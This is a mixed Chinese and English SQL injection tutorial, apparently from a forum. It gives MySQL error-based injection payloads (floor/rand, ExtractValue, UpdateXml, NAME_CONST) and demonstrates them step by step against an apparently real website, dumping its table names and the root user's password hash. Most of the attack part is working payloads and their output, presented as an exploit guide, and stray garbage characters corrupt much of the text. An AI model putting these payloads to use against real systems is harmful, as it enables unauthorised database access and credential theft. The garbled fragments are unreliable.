|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:* e a! P" D: D% f: U) ^
首先进行正常查询: mysql> select * from article where id = 1;. w N' ^- H+ q
+—-+——-+———+/ n$ f T. ~: E3 O
| id | title | content |; q4 L3 y& X6 h Z
+—-+——-+———+
0 u _. h% N. B, C6 z2 o( H| 1 | test | do it |3 O5 m! g) i4 {9 \2 c
+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
( ]" w) c* W* a, R5 TERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。 A" n( V- Y3 Y( W
例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
, @' z& ?' Z6 q; f+ i% NERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));8 w& W9 Y8 L2 P* N: q7 I( y/ [
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue
0 R2 ^7 [ _2 J测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–" L9 N) h6 C6 W0 a3 x' d
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’ 3 s j$ m( C, X4 \: R0 i
7 c! Y7 W" W: K/ W7 Z再收集: & U7 @5 q7 z5 |- p k9 ~2 e2 ?
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) / u7 E* @4 c2 D$ A' v6 b2 a
: ?* d3 j$ |9 [
Error uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’
+ q. y9 o E$ e* V
+ b5 a3 U* @7 m1 B3 u7 d) {http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
- i# E" e( l" A, V, |
1 D4 O( b& ~6 }Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 3 ?. g* q- S8 U3 n
: j& e3 C# ^) b' z* R) I9 iMYSQL高版本报错注入技巧-利用NAME_CONST注入
& c% t, |- R8 B; p. P i& C7 ~It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. , s8 ]2 r" b \
2 ]& Z. u. r, N, Z( j- f; F! H8 o* B% v
相关信息3 q# _; I1 d( ]4 W. Y
6 A" B6 ^& t( ~& T. g3 N; U
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.5 W8 u: ~+ _: z, ?
: I+ Z$ S. M8 l" BCode:
+ d$ s! E! A/ a. i1 O' |" tNAME_CONST(DATA, VALUE)
# ]4 |5 \& v+ l9 |6 j1 O3 @7 A5 }7 p2 G$ G9 k8 M) o% r) ]
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.2 L8 `5 w+ K% B/ w+ z7 k8 ]% e
# Y) P* C9 p7 b+ c
SELECT NAME_CONST('TEST', 1)& _! V) P+ a: ]$ c" H' q
# M+ o7 j$ G. y. R7 w; T# n
8 s, x+ [+ I; J s; J9 f9 A( N8 k* G3 q+ D; X/ H
|---------------|% M" a0 I$ W, v- N8 A+ ~
| TEST |
* ?) V, \% d% O, H| |
) i( \3 Z L6 {% T3 N9 C|---------------|
3 j3 z; _2 }8 b; R; ]& {| 1 |
& c8 w: |8 x7 A# B( l4 _9 s$ O# }- c| |
, E; v2 S d, y3 Q" c|---------------|1 l( O' Q* x. t5 x' _- W; B' {
# f6 U' B* s% v2 c) y6 n" u5 P5 ?
. x( H5 c" Y2 w0 a6 b8 O+ o
* ^. a4 [' K2 N6 Q5 r' _http://dev.mysql.com/doc/refman/5.0/en/m...name-const5 h L* q3 d5 Y) X
Intro to MySQL Variables ^2 `* u2 C' z: \
: `( G6 m/ `) [% R/ O' {Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
- M) T5 T/ F2 T6 K9 u9 _! K3 L# C2 D6 ~0 d1 T, {3 s- I2 L
Code:
, [ L7 N: S# hhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
0 R/ @9 u. r- {% P' w! N1 |. t
: W+ O( V9 {: p
8 J: j. E. J1 I+ K: x9 J+ }- b
# K& j R# w) l! V6 W j5 t5 u6 a8 V2 h* b& E
6 b7 I+ s$ E& Z: G' a% ~
Code:/ R' s$ f, R5 k7 y2 q) i
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--7 m. ~" S1 S, h# W* }' _6 J6 ?
) e( ^& I, ?& R8 X9 t
: z, l5 Y. C( Z! r2 ^VAR = Your MySQL variable.7 R: M, n9 ~5 B, I4 c) P w- J/ u
) W! w/ @& ^6 P2 ]; @ P% j* E% EMySQL 5.1.3 Server System Variables
( l9 B/ a9 @+ {: J2 t w* ?7 {$ i7 \/ }9 }8 C; ]
Let's try it out on my site..) T, A ?$ R4 Z
5 j7 ]# s/ d! g7 l6 O9 UCode:
. b5 G, Q3 D+ d& O- L+ y9 nhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--8 ^( P4 W" n: D% H' \ ^& y9 J
( [# o t+ z' G: D6 J$ \5 u6 JError uplicate column name '5.0.27-community-nt'3 M) U. I$ L$ e# s4 M% m( B8 y
[7 i, R: @9 S: [
& q# a8 B9 m' K# U% k5 X' n! C- J" P! Y4 p8 Y+ y
$ Y& j: R8 u* f9 B) [' v" y+ T& D. G8 d- Z8 w
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...6 c5 H3 g/ G1 M& k7 F
' W$ Q- S6 Y6 J; E
Data Extraction9 I7 n1 G. x5 ?9 [
z7 U) z/ Z+ L# U6 _
Code:% R" I- ]( z1 g; H% z5 G
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--& F+ a/ f }+ ]6 U& o/ Q! j
7 i7 d1 Q5 Z) j w( Q- c5 m/ u9 E4 ?4 D. E& h1 }
We should get a duplicate column 1 error...# Q3 [" w5 O# {4 d: i
0 H; q5 w/ m" ~3 }2 [9 G
Code:
! ? n! e3 [+ _7 H: |1 d' l' ehttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
6 ^- B* Z* c* G% }
8 {( O. T& i- B! [" iError uplicate column name '1
( ~; |8 ~" J X: X+ i: j. k1 z
. x! r( v, N) `% z. R5 Q! c
+ s/ F y/ ]# s+ V. D* Q* c/ }1 a& b/ ^2 K, B: `& G$ t M j7 Q
5 L& u: M& R# u; ?; K% G
# Z6 c+ h- U0 @; w9 l8 x
Now let's get the tables out this bitch..
3 {2 V2 F6 }# K2 o0 F
1 W/ }7 [9 m/ K/ QCode:5 [& e: }% i4 C" }) o/ t" F& g
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
$ p# b. e$ y' p( M- H- T# T) ?3 q5 ]/ h+ W* \" M" I! }( g/ L4 U g! x
$ f, Y y* {# U; hLet's see if it works here, if it does, we can go on and finish the job.. v6 O# v0 V5 o# K
3 H( V3 q5 `$ [+ J7 p9 [5 oCode:9 s$ z+ z# n8 m. {& O w
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
6 w: Y7 U% I' p" l1 H" C: U$ A
3 n4 ]2 D5 K' [8 {/ d) g" W4 \, b$ ^/ k8 B
Error uplicate column name 'com_admanage/ c: g4 f6 G0 L( p
; V) P! H! U' p+ u$ O+ P
7 n/ n0 O) D v, v/ f
# |$ G6 J. {8 x5 i1 a G0 y9 h& i5 X* _
- @2 ~% P# w# g$ n3 T( y4 {. w! ]6 \8 G; J, S6 F9 ~" X
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
% D' s7 |& `7 @" p, `4 f) R# x6 {: v! t5 s/ N
Let's get the columns out of the user table... } X$ m; f; F8 x" a, M5 P5 x' M
1 V6 f1 _- f- A6 j- S
Code:
9 ]8 X1 b: e6 i/ ] ~+ j1 z+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
% y- j. u v6 @ W0 t
G* Y5 p- o6 q8 A K% U! _6 `4 D+ D' l7 G$ ^; D, z
So mine looks like this, and I get the duplicate column name 'Host'.1 h, m8 C3 Y3 ?+ ^ G3 }3 y
" Z0 |. z5 m% g4 \# W! x+ RCode:
) n" a- v% o- S" a) Qhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
" D9 C6 g. {: U6 K5 o- E
) W+ W# k) c1 [Error uplicate column name 'Host'
. w! o" _) `+ w. q, e. B! i" g% \: V6 H& P; j: i2 [( i! Y/ o2 {( h
" O+ L: C+ [/ l) p8 v: {7 A) _3 z' r
3 l/ r( q9 x0 G$ z2 [9 N, N ]: O) w4 {) R: J0 Z# q7 `, L
! i% f5 T5 n* M0 ]+ E. U2 W) `. vWoot, time to finish this bitch off.; J, f; w" \9 ]2 p7 r1 t
) X5 o; [, c! Q5 w
Code: N" N6 V: {) Z. t: R
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--% A1 A4 h9 o+ o& Z) Z
7 L; k6 Z! I1 ^
3 k* a+ C4 V" SSo mine looks like this...
5 O8 b. N' X! }" `3 t$ Z9 ?
* a- V$ v! W/ v. Z# ECode:
& y K) t6 s. Hhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--1 w0 K7 t3 z' T1 I& }/ ?
( K2 A7 a* P/ U$ g2 f
Error uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82': g3 X0 y- H* A$ a; H
* v2 }7 z% D( W* i5 V0 E7 r) m( \. n! ~9 X* s
- Z9 s o6 C+ K+ ?3 n d
9 U8 [% Q3 m; M9 P2 C$ V9 p1 ]* k+ H/ C
: ]0 r5 \% O, E9 m" _/ ~3 ^( a
And there we have it, thanks for reading.
5 q: x) l5 h' T$ \& X& t; |$ b0 Q6 O
|